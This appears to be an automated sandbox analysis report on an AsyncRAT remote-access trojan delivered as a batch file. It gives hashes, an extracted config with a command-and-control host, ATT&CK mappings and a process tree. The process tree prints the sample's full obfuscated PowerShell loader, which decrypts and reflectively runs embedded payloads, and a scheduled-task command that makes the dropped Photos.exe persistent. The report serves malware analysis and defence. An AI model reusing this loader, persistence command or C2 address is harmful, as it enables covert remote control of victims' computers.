asyncrat | 40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56

General

Target

Infected.bat
Size

74KB
MD5

25d86af45fcc93078ac8ff2dd1e83314
SHA1

fd00fd08a9e264bf2470ca17d4b118522fae48fa
SHA256

40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56
SHA512

518ccc58c6c4eb3c744f4f417892d802dfa13cdb0fbc98020787b5534d12d602e8087741189dfa9ea7eeff9ce09714638b144771692e375fa93d249609debe24
SSDEEP

768:s1yoKUYWJ5jQm6+iPOf9EwY+yIkwJJke7RA65LyTUtwfMMT4bKfdYeXAG6qUo+Rd:Boqa5jHdlFMIkylRB5Gjeep6q6vSp2SY

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

policy-sas.gl.at.ply.gg:43122

Attributes

delay
1
install
true
install_file
Photos.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/180-15-0x000001BBF6480000-0x000001BBF6496000-memory.dmp	family_asyncrat

Executes dropped EXE 1 IoCs

Processes:

Photos.exe

pid process

1380 Photos.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

180 powershell.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2556 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

4392 schtasks.exe

pid	process
1380	Photos.exe

pid	process
2556	timeout.exe

pid	process
4392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

Processes:

powershell.exePhotos.exe

pid	process
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
1380	Photos.exe
1380	Photos.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exePhotos.exe

description pid process

Token: SeDebugPrivilege 180 powershell.exe
Token: SeDebugPrivilege 180 powershell.exe
Token: SeDebugPrivilege 1380 Photos.exe

description	pid	process
Token: SeDebugPrivilege	180	powershell.exe
Token: SeDebugPrivilege	180	powershell.exe
Token: SeDebugPrivilege	1380	Photos.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.execmd.execmd.exe

description	pid	process	target process
PID 4388 wrote to memory of 180	4388	cmd.exe	powershell.exe
PID 4388 wrote to memory of 180	4388	cmd.exe	powershell.exe
PID 180 wrote to memory of 4752	180	powershell.exe	cmd.exe
PID 180 wrote to memory of 4752	180	powershell.exe	cmd.exe
PID 180 wrote to memory of 948	180	powershell.exe	cmd.exe
PID 180 wrote to memory of 948	180	powershell.exe	cmd.exe
PID 948 wrote to memory of 2556	948	cmd.exe	timeout.exe
PID 948 wrote to memory of 2556	948	cmd.exe	timeout.exe
PID 4752 wrote to memory of 4392	4752	cmd.exe	schtasks.exe
PID 4752 wrote to memory of 4392	4752	cmd.exe	schtasks.exe
PID 948 wrote to memory of 1380	948	cmd.exe	Photos.exe
PID 948 wrote to memory of 1380	948	cmd.exe	Photos.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rfPx2/qjPEULy3w9Vw91tAJgXSLsh+wieWCmL2bqeJE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uoQNNJFNYFBjzV7jmi3PfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $huwyq=New-Object System.IO.MemoryStream(,$param_var); $asgET=New-Object System.IO.MemoryStream; $pgUdN=New-Object System.IO.Compression.GZipStream($huwyq, [IO.Compression.CompressionMode]::Decompress); $pgUdN.CopyTo($asgET); $pgUdN.Dispose(); $huwyq.Dispose(); $asgET.Dispose(); $asgET.ToArray();}function execute_function($param_var,$param2_var){ $MXcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wghyx=$MXcqt.EntryPoint; $wghyx.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$dNySU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($NKwGP in $dNySU) { if ($NKwGP.StartsWith(':: ')) { $rNMtY=$NKwGP.Substring(3); break; }}$payloads_var=[string[]]$rNMtY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:180

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:4752

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"'
4⤵
- Scheduled Task/Job: Scheduled Task
PID:4392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp804C.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2556

C:\Users\Admin\AppData\Roaming\Photos.exe
"C:\Users\Admin\AppData\Roaming\Photos.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2d1njfs0.r5c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp804C.tmp.bat

Filesize
150B

MD5
7b50dd8e05a69c22f1ad41ccc6b8f990

SHA1
c68a386464ea61b045f58b6ae02c5320a1d5cc2a

SHA256
908e7e29f0b9c9de14f5632993cc1720b62e0bb8504d2457409f11222c2d6328

SHA512
45b1789df80fe7c1749dd54f49c8a1439a14aba7778ed967b1132fa333623496c172081e08d80d309f1c4e729427b7bf05e8fb71021c7092ff02fe714373546b

Download Submit
C:\Users\Admin\AppData\Roaming\Photos.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/180-11-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

Filesize
10.8MB

Download
memory/180-12-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

Filesize
10.8MB

Download
memory/180-15-0x000001BBF6480000-0x000001BBF6496000-memory.dmp

Filesize
88KB

Download
memory/180-14-0x000001BBF6440000-0x000001BBF6450000-memory.dmp

Filesize
64KB

Download
memory/180-13-0x000001BBF4320000-0x000001BBF4328000-memory.dmp

Filesize
32KB

Download
memory/180-21-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

Filesize
10.8MB

Download
memory/180-0-0x00007FFAB1463000-0x00007FFAB1465000-memory.dmp

Filesize
8KB

Download
memory/180-23-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

Filesize
10.8MB

Download
memory/180-10-0x000001BBF6450000-0x000001BBF6472000-memory.dmp

Filesize
136KB

Download
memory/1380-35-0x000002407DC10000-0x000002407DC54000-memory.dmp

Filesize
272KB

Download
memory/1380-36-0x000002407DCE0000-0x000002407DD56000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads